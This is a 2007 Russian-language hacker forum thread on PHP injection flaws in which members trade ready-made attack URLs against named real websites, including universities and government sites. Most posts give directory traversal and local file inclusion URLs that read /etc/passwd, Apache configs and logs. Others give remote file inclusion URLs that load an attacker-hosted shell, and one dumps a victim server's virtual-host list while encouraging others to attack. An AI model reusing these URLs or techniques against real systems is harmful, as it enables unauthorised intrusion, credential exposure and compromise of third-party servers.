PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Safe mode=ON
    http://www.gojdic.sk/citaren/?zobrazit=[shell]
     
  2. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    http://xocmep.ru/index.php?info=ftp://dlchat:[email protected]&rz=htdocs/zaco.213?

    Ставь плюсик в репу слышь ты!
     
    4 people like this.
  3. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    "/
     
    #263 Spyder, 13 Jul 2007
    Last edited: 13 Jul 2007
    2 people like this.
  4. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    Washington University Physics
    Code:
     http://www.physics.wustl.edu/Fac/facDisplayPopUp.php?name=../../../../../../etc/passwd 
    Code:
    http://www.physics.wustl.edu/Fac/facDisplayPopUp.php?name=../../../../../../etc/hosts
    Code:
    http://www.physics.wustl.edu/Fac/facDisplayPopUp.php?name=../../../../../../etc/group
    Code:
    http://www.physics.wustl.edu/Fac/facDisplayPopUp.php?name=../../../../../../usr/local/apache2/conf/httpd.conf
     
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    \"
     
  6. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    Lowell Observatory Employment Opportunities
    Code:
    http://www.lowell.edu/employment/index.php?posting=../../../../etc/passwd
    http://www.lowell.edu/employment/index.php?posting=../../../../etc/hosts
    http://www.lowell.edu/employment/index.php?posting=../../../../etc/group
    http://www.lowell.edu/employment/index.php?posting=../../../../etc/httpd/conf/httpd.conf
    Transmedia at Syracuse University
    Code:
    http://transmedia.syr.edu/index.php?content_file=../../../../etc/passwd
    http://transmedia.syr.edu/index.php?content_file=../../../../etc/hosts
    http://transmedia.syr.edu/index.php?content_file=../../../../etc/group
    
    BioNews Feature
    Code:
    http://www.biology.utah.edu/bionews2.php?story=../../../../../../../../etc/passwd
    http://www.biology.utah.edu/bionews2.php?story=../../../../../../../../etc/hosts
    http://www.biology.utah.edu/bionews2.php?story=../../../../../../../../etc/group
    
     
    #266 ENFIX, 13 Jul 2007
    Last edited: 13 Jul 2007
  7. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
    #267 ~!DoK_tOR!~, 14 Jul 2007
    Last edited: 14 Jul 2007
  8. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
  9. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    для любителей Windows

     
    2 people like this.
  10. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
    1 person likes this.
  11. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
    1 person likes this.
  12. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Code:
    www.gwahs.nsw.gov.au/index. php?select={path}&option=privacy
    где {path} - сайт с вашим шеллом

    на сайте должен находиться шелл с именем index.php

    А вот читалка:

    Code:
    http://aids.nstl.gov.cn/.php?action=view&file=/etc/passwd
    и вот еще:
    Code:
    http://www.sobral.ce.gov.br/comunicacao/novo2/index.php?pagina=/etc/passwd
     
    #272 Scipio, 14 Jul 2007
    Last edited: 14 Jul 2007
    1 person likes this.
  13. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    SUNY Geneseo
    Code:
    http://www.geneseo.edu/news/nrap.php?pg=../../../../../../etc/passwd
    http://www.geneseo.edu/news/nrap.php?pg=../../../../../../etc/group
    http://www.geneseo.edu/news/nrap.php?pg=../../../../../../etc/hosts
    
    Если хорошо поковыряться можно много интересного найти ;)
     
    2 people like this.
  14. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    Marist College Ski Team
    Немного интересного:
    Code:
    http://academic.marist.edu/skiteam/index.php?page=../../../../../../../../../../../../../../etc/passwd
    http://academic.marist.edu/skiteam/index.php?page=../../../../../../../../../../../../../../etc/hosts
    http://academic.marist.edu/skiteam/index.php?page=../../../../../../../../../../../../../../etc/group
    Конфиг Апача:
    Code:
    http://academic.marist.edu/skiteam/index.php?page=../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf
    
    Error_log:
    Code:
    http://academic.marist.edu/skiteam/index.php?page=../../../../../../../../../../../../../../usr/local/apache/logs/error_log
    Access_log:
    Code:
    http://academic.marist.edu/skiteam/index.php?page=../../../../../../../../../../../../../../usr/local/apache/logs/access_log
    VirtualHosts и путь к ним:
    Code:
    	ServerName hvcybersupport.org
    	DocumentRoot "/usr/local/apache/site/hvcyber/htdocs"
    
    	ServerName hudsonvalleyheritagearea.com
    	DocumentRoot "/usr/local/apache/site/hvheritage/htdocs"
    
    	ServerName cityofpoughkeepsie.com
    	DocumentRoot "/usr/local/apache/site/cityofpoughkeepsie/htdocs"
    	
    	ServerName ddconnections.org
    	DocumentRoot "/usr/local/apache/site/ddconnections/htdocs"
    
    	ServerName hotpepperjam.com
    	DocumentRoot "/usr/local/apache/site/hotpepperjam/htdocs"
    
    	ServerName hvita.org
    	DocumentRoot "/usr/local/apache/site/hvita/htdocs"
    
    	ServerName internet-exploiters.com
    	DocumentRoot "/usr/local/apache/site/internet-exploiters/htdocs"
    
    	ServerName irts.org
    	DocumentRoot "/usr/local/apache/site/irts/htdocs"
    
    	ServerName ladyoflourdes.org
    	DocumentRoot "/usr/local/apache/site/ladyoflourdes/htdocs"
    
    	ServerName leavealegacy-dcny.org
    	DocumentRoot "/usr/local/apache/site/leavealegacy-dcny/htdocs"
    
    	ServerName lvadutchess.org
    	DocumentRoot "/usr/local/apache/site/lvadutchess/htdocs"
    
    	ServerName mountstmichael.org
    	DocumentRoot "/usr/local/apache/site/mountstmichael/htdocs"
    
    	ServerName nycatholicschools.org
    	DocumentRoot "/usr/local/apache/site/nycatholicschools/htdocs"
    
    	ServerName occhn.org
    	DocumentRoot "/usr/local/apache/site/occhn/htdocs"
    
    	ServerName stmartindeporres.org
    	DocumentRoot "/usr/local/apache/site/stmartindeporres/htdocs"
    
    	ServerName transportationpatterns.org
    	DocumentRoot "/usr/local/apache/site/transportationpatterns/htdocs"
    
    	ServerName mediacenter.marist.edu
    	DocumentRoot "/usr/local/apache/site/mediacenter/htdocs"
    
    	ServerName hudsonrivervalley.net
    	DocumentRoot "/usr/local/apache/site/hudsonrivervalley/htdocs"
    
    	ServerName hudsonrivernavigator.net
    	DocumentRoot "/usr/local/apache/site/hudsonrivervalley/htdocs/navigator/"
    
    	ServerName childrenservicescouncil.org
    	DocumentRoot "/usr/local/apache/site/childrenservicescouncil/htdocs"
    
    	ServerName mhcommunity.com
    	DocumentRoot "/usr/local/apache/site/mhcommunity/htdocs"
    
    	ServerName aaronstockholmhouse.com
    	DocumentRoot "/usr/local/apache/site/aaronstockholmhouse/htdocs"
    
    	ServerName hvirra.org
    	DocumentRoot "/usr/local/apache/site/hvirra/htdocs"
    
    	ServerName hvedc.org
    	DocumentRoot "/usr/local/apache/site/hvedc/htdocs"
    
    	ServerName poughkeepsieplaza.com
    	DocumentRoot "/usr/local/apache/site/poughkeepsieplaza/htdocs"
    
    Сделано для вашего удобства ;) Дерзайте =)
     
    3 people like this.
  15. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    Spears School of Business at Oklahoma State University
    Code:
    http://spears.okstate.edu/secondary/creator.php?c=../../../../../../../../etc/passwd
    http://spears.okstate.edu/secondary/creator.php?c=../../../../../../../../etc/hosts
    http://spears.okstate.edu/secondary/creator.php?c=../../../../../../../../etc/group
    
    Конфиг апача чет не нашел (мб плохо искал? =) )
     
  16. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    Сорри за флуд, НО =)
    SUNY Upstate Medical University
    Опять-таки немного интересного:
    Code:
    http://www.upstate.edu/uh/connections/eil/index.php?inc=../../../../../../../../etc/passwd
    http://www.upstate.edu/uh/connections/eil/index.php?inc=../../../../../../../../etc/hosts
    http://www.upstate.edu/uh/connections/eil/index.php?inc=../../../../../../../../etc/group
    
    Error_Log:
    Code:
    http://www.upstate.edu/uh/connections/eil/index.php?inc=../../../../../../../../usr/local/apache2/logs/error_log
    
    Access_log:
    Code:
    http://www.upstate.edu/uh/connections/eil/index.php?inc=../../../../../../../../usr/local/apache2/logs/access_log
    
    Конфиг апача:
    Code:
    http://www.upstate.edu/uh/connections/eil/index.php?inc=../../../../../../../../usr/local/apache2/conf/httpd.conf
    
    ^_^
     
    1 person likes this.
  17. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    бла бла бла-=)

     
  18. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    1. www.feelirie.net -- remote
    Code:
    http://www.feelirie.net/index.php?page=[shell].php
    
    2. animeendless.net -- remote
    Code:
    http://animeendless.net/index.php?page=[shell].php
    
    3. iaald.org -- remote
    Code:
    http://iaald.org/cee/index.php?page=[shell]
    
    4. mebeli.firstcolor.net -- remote
    Code:
    http://mebeli.firstcolor.net/?pg=[shell].htm
    
    5. constructweb.3x.ro -- remote
    Code:
    http://constructweb.3x.ro/index.php?pagina=[shell]
    
    6. www.nightwishbrasil.com -- remote
    Code:
    http://www.nightwishbrasil.com/?pagina=[shell].php
    
    7. www.maciasrojas.com -- remote
    Code:
    http://www.maciasrojas.com/?pagina=[shell].php
    
    8. www.dce.ufc.br -- remote
    Code:
    http://www.dce.ufc.br/pagina.php?arquivo=[shell]
    
    9. www.contogotico.com -- remote
    Code:
    http://www.contogotico.com/mundogotico/gothic/index.php?pagina=[shell].htm
    
    10. www.arendeco.nl -- remote
    Code:
    http://www.arendeco.nl/index.php?pagina=[shell].htm
    
     
    4 people like this.
  19. Shram-spb

    Shram-spb Member

    Joined:
    6 Jun 2007
    Messages:
    64
    Likes Received:
    42
    Reputations:
    35
    Code:
    http://www.unamba.edu.pe/scripts/estudiantes_portal.php?pagina=../../../../../../../../../../etc/passwd
     
  20. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\